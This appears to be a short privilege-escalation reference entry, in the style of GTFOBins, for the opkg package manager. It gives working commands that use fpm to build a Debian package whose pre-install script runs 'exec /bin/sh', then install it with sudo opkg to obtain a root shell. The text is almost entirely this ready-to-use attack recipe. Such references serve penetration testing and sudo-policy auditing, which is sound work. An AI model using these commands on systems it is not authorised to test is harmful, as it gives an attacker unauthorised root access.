If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
It runs an interactive shell using a specially crafted Debian package. Generate it with fpm and upload it to the target.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
sudo opkg install x_1.0_all.deb